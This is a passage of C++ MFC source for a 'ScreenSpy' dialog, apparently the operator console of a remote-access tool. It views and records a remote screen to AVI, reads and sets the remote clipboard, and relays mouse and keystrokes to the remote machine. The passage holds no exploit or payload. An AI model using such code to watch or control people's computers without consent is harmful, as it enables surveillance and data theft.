|
||
{
|
||
KillTimer(132);
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED);
|
||
m_aviFile = "";
|
||
m_aviStream.Close();
|
||
|
||
return;
|
||
}
|
||
|
||
if (m_lpbmi->bmiHeader.biBitCount == 4)
|
||
{
|
||
AfxMessageBox(_T("不支持四位颜色录像"));
|
||
return;
|
||
}
|
||
|
||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.avi"));
|
||
CFileDialog dlg(FALSE, _T("avi"), strFileName, OFN_OVERWRITEPROMPT, _T("Video(*.avi)|*.avi|"), this);
|
||
if(dlg.DoModal () != IDOK)
|
||
return;
|
||
|
||
m_aviFile = dlg.GetPathName();
|
||
|
||
|
||
if (!m_aviStream.Open(m_hWnd,m_aviFile, m_lpbmi))
|
||
{
|
||
m_aviFile = _T("");
|
||
MessageBox(_T("视频生成(*.avi) 失败"));
|
||
}
|
||
else
|
||
{
|
||
::SetTimer(m_hWnd,132,250,NULL);
|
||
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);
|
||
}
|
||
|
||
|
||
}
|
||
break;
|
||
case IDM_GET_CLIPBOARD: // 获取剪贴板
|
||
{
|
||
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
|
||
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
|
||
}
|
||
break;
|
||
case IDM_SET_CLIPBOARD: // 设置剪贴板
|
||
{
|
||
SendLocalClipboard();
|
||
}
|
||
break;
|
||
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
|
||
{
|
||
SendResetAlgorithm(ALGORITHM_SCAN);
|
||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_ALGORITHM_DIFF: // 差异比较算法
|
||
{
|
||
SendResetAlgorithm(ALGORITHM_DIFF);
|
||
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_1:
|
||
{
|
||
SendResetScreen(1);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_4_GRAY:
|
||
{
|
||
SendResetScreen(3);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_4_COLOR:
|
||
{
|
||
SendResetScreen(4);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_8_GRAY:
|
||
{
|
||
SendResetScreen(7);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_8_COLOR:
|
||
{
|
||
SendResetScreen(8);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_16:
|
||
{
|
||
SendResetScreen(16);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
case IDM_DEEP_32:
|
||
{
|
||
SendResetScreen(32);
|
||
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
|
||
}
|
||
break;
|
||
default:
|
||
CDialog::OnSysCommand(nID, lParam);
|
||
}
|
||
}
|
||
LRESULT CScreenSpyDlg::OnGetMiniMaxInfo(WPARAM wParam, LPARAM lparam)
|
||
{
|
||
// 如果m_MMI已经被赋值
|
||
if (m_MMI.ptMaxSize.x > 0)
|
||
memcpy((void *)lparam, &m_MMI, sizeof(MINMAXINFO));
|
||
|
||
return NULL;
|
||
}
|
||
|
||
void CScreenSpyDlg::DrawTipString(CString str)
|
||
{
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
|
||
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
|
||
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
|
||
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
|
||
|
||
DrawText (m_hDC, str, -1, &rect,
|
||
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
|
||
|
||
SetBkColor(m_hDC, oldbgcol);
|
||
SetTextColor(m_hDC, oldtxtcol);
|
||
/* InvalidateRect(NULL, FALSE);*/
|
||
}
|
||
|
||
void CScreenSpyDlg::InitMMI()
|
||
{
|
||
RECT rectClient, rectWindow;
|
||
GetWindowRect(&rectWindow);
|
||
GetClientRect(&rectClient);
|
||
ClientToScreen(&rectClient);
|
||
|
||
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
|
||
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
|
||
|
||
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
|
||
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
|
||
int nMinWidth = 400 + nWidthAdd;
|
||
int nMinHeight = 300 + nHeightAdd;
|
||
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
|
||
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
|
||
|
||
|
||
// 最小的Track尺寸
|
||
m_MMI.ptMinTrackSize.x = nMinWidth;
|
||
m_MMI.ptMinTrackSize.y = nMinHeight;
|
||
|
||
// 最大化时窗口的位置
|
||
m_MMI.ptMaxPosition.x = 1;
|
||
m_MMI.ptMaxPosition.y = 1;
|
||
|
||
// 窗口最大尺寸
|
||
m_MMI.ptMaxSize.x = nMaxWidth;
|
||
m_MMI.ptMaxSize.y = nMaxHeight;
|
||
|
||
// 最大的Track尺寸也要改变
|
||
m_MMI.ptMaxTrackSize.x = nMaxWidth;
|
||
m_MMI.ptMaxTrackSize.y = nMaxHeight;
|
||
}
|
||
|
||
|
||
BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
#define MAKEDWORD(h,l) (((unsigned long)h << 16) | l)
|
||
|
||
CRect rect;
|
||
GetClientRect(&rect);
|
||
|
||
switch (pMsg->message)
|
||
{
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_MOUSEMOVE:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
case WM_MOUSEWHEEL:
|
||
{
|
||
MSG msg;
|
||
memcpy(&msg, pMsg, sizeof(MSG));
|
||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||
msg.pt.x += m_HScrollPos;
|
||
msg.pt.y += m_VScrollPos;
|
||
|
||
SendCommand(&msg);
|
||
}
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYDOWN:
|
||
case WM_SYSKEYUP:
|
||
if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN)
|
||
{
|
||
MSG msg;
|
||
memcpy(&msg, pMsg, sizeof(MSG));
|
||
msg.lParam = MAKEDWORD(HIWORD(pMsg->lParam) + m_VScrollPos, LOWORD(pMsg->lParam) + m_HScrollPos);
|
||
msg.pt.x += m_HScrollPos;
|
||
msg.pt.y += m_VScrollPos;
|
||
SendCommand(&msg);
|
||
}
|
||
if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE)
|
||
return true;
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
return CDialog::PreTranslateMessage(pMsg);
|
||
}
|
||
|
||
|
||
void CScreenSpyDlg::SendCommand(MSG* pMsg)
|
||
{
|
||
if (!m_bIsCtrl)
|
||
{
|
||
return;
|
||
}
|
||
|
||
LPBYTE lpData = new BYTE[sizeof(MSG) + 1];
|
||
lpData[0] = COMMAND_SCREEN_CONTROL;
|
||
memcpy(lpData + 1, pMsg, sizeof(MSG));
|
||
m_iocpServer->Send(m_pContext, lpData, sizeof(MSG) + 1);
|
||
|
||
delete[] lpData;
|
||
}
|
||
|
||
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
|
||
SCROLLINFO si;
|
||
int i;
|
||
si.cbSize = sizeof(SCROLLINFO);
|
||
si.fMask = SIF_ALL;
|
||
GetScrollInfo(SB_HORZ, &si);
|
||
|
||
switch (nSBCode)
|
||
{
|
||
case SB_LINEUP:
|
||
i = nPos - 1;
|
||
break;
|
||
case SB_LINEDOWN:
|
||
i = nPos + 1;
|
||
break;
|
||
case SB_THUMBPOSITION:
|
||
case SB_THUMBTRACK:
|
||
i = si.nTrackPos;
|
||
break;
|
||
default:
|
||
return;
|
||
}
|
||
|
||
i = max(i, si.nMin);
|
||
i = min(i, (int)(si.nMax - si.nPage + 1));
|
||
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
|
||
i = m_lpbmi->bmiHeader.biWidth - rect.right;
|
||
|
||
InterlockedExchange((PLONG)&m_HScrollPos, i);
|
||
|
||
SetScrollPos(SB_HORZ, m_HScrollPos);
|
||
|
||
PostMessage(WM_PAINT);
|
||
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
|
||
}
|
||
|
||
void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
SCROLLINFO si;
|
||
int i;
|
||
si.cbSize = sizeof(SCROLLINFO);
|
||
si.fMask = SIF_ALL;
|
||
GetScrollInfo(SB_VERT, &si);
|
||
|
||
switch (nSBCode)
|
||
{
|
||
case SB_LINEUP:
|
||
i = nPos - 1;
|
||
break;
|
||
case SB_LINEDOWN:
|
||
i = nPos + 1;
|
||
break;
|
||
case SB_THUMBPOSITION:
|
||
case SB_THUMBTRACK:
|
||
i = si.nTrackPos;
|
||
break;
|
||
default:
|
||
return;
|
||
}
|
||
|
||
i = max(i, si.nMin);
|
||
i = min(i, (int)(si.nMax - si.nPage + 1));
|
||
|
||
|
||
RECT rect;
|
||
GetClientRect(&rect);
|
||
|
||
if ((rect.bottom + i) > m_lpbmi->bmiHeader.biHeight)
|
||
i = m_lpbmi->bmiHeader.biHeight - rect.bottom;
|
||
|
||
InterlockedExchange((PLONG)&m_VScrollPos, i);
|
||
|
||
SetScrollPos(SB_VERT, i);
|
||
PostMessage(WM_PAINT);
|
||
CDialog::OnVScroll(nSBCode, nPos, pScrollBar);
|
||
}
|
||
|
||
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
|
||
::EmptyClipboard();
|
||
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
|
||
if (hglbCopy != NULL) {
|
||
// Lock the handle and copy the text to the buffer.
|
||
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
|
||
memcpy(lptstrCopy, buf, len);
|
||
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
|
||
SetClipboardData(CF_TEXT, hglbCopy);
|
||
GlobalFree(hglbCopy);
|
||
}
|
||
CloseClipboard();
|
||
}
|
||
|
||
void CScreenSpyDlg::SendLocalClipboard()
|
||
{
|
||
if (!::OpenClipboard(NULL))
|
||
return;
|
||
HGLOBAL hglb = GetClipboardData(CF_TEXT);
|
||
if (hglb == NULL)
|
||
{
|
||
::CloseClipboard();
|
||
return;
|
||
}
|
||
int nPacketLen = GlobalSize(hglb) + 1;
|
||
LPSTR lpstr = (LPSTR) GlobalLock(hglb);
|
||
LPBYTE lpData = new BYTE[nPacketLen];
|
||
lpData[0] = COMMAND_SCREEN_SET_CLIPBOARD;
|
||
memcpy(lpData + 1, lpstr, nPacketLen - 1);
|
||
::GlobalUnlock(hglb);
|
||
::CloseClipboard();
|
||
m_iocpServer->Send(m_pContext, lpData, nPacketLen);
|
||
delete[] lpData;
|
||
}
|
||
|
||
void CScreenSpyDlg::SendNext()
|
||
{
|
||
BYTE bBuff = COMMAND_NEXT;
|
||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||
}
|
||
|
||
void CScreenSpyDlg::OnPaint()
|
||
{
|
||
CPaintDC dc(this); // device context for painting
|
||
|
||
// TODO: Add your message handler code here
|
||
// TODO: Add your message handler code here
|
||
if (m_bIsFirst)
|
||
{
|
||
DrawTipString(_T("Please wait - initial screen loading"));
|
||
return;
|
||
}
|
||
if (m_bOnClose) return;
|
||
|
||
|
||
BitBlt
|
||
(
|
||
m_hDC,
|
||
0,
|
||
0,
|
||
m_lpbmi->bmiHeader.biWidth,
|
||
m_lpbmi->bmiHeader.biHeight,
|
||
m_hMemDC,
|
||
m_HScrollPos,
|
||
m_VScrollPos,
|
||
SRCCOPY
|
||
);
|
||
|
||
// (BYTE)-1 = 255;
|
||
// Draw the cursor
|
||
if (m_bIsTraceCursor)
|
||
DrawIconEx(
|
||
m_hDC, // handle to device context
|
||
m_RemoteCursorPos.x - ((int) m_dwCursor_xHotspot) - m_HScrollPos,
|
||
m_RemoteCursorPos.y - ((int) m_dwCursor_yHotspot) - m_VScrollPos,
|
||
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
|
||
0,0, // width of the icon
|
||
0, // index of frame in animated cursor
|
||
NULL, // handle to background brush
|
||
DI_NORMAL | DI_COMPAT // icon-drawing flags
|
||
);
|
||
|
||
// Do not call CDialog::OnPaint() for painting messages
|
||
}
|
||
|
||
void CScreenSpyDlg::PostNcDestroy()
|
||
{
|
||
// TODO: Add your specialized code here and/or call the base class
|
||
if (!m_bOnClose)
|
||
OnClose();
|
||
|
||
delete this;
|
||
CDialog::PostNcDestroy();
|
||
}
|
||
|
||
void CScreenSpyDlg::OnTimer(UINT nIDEvent)
|
||
{
|
||
// TODO: Add your message handler code here and/or call default
|
||
if (!m_aviFile.IsEmpty())
|
||
{
|
||
LPCTSTR lpTipsString = _T("录制中 ...");
|
||
|
||
m_aviStream.Write(m_lpScreenDIB);
|
||
|
||
// 提示正在录像
|
||
SetBkMode(m_hDC, TRANSPARENT);
|
||
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
|
||
TextOut(m_hDC, 0, 0, lpTipsString, lstrlen(lpTipsString));
|
||
}
|
||
CDialog::OnTimer(nIDEvent);
|
||
}
|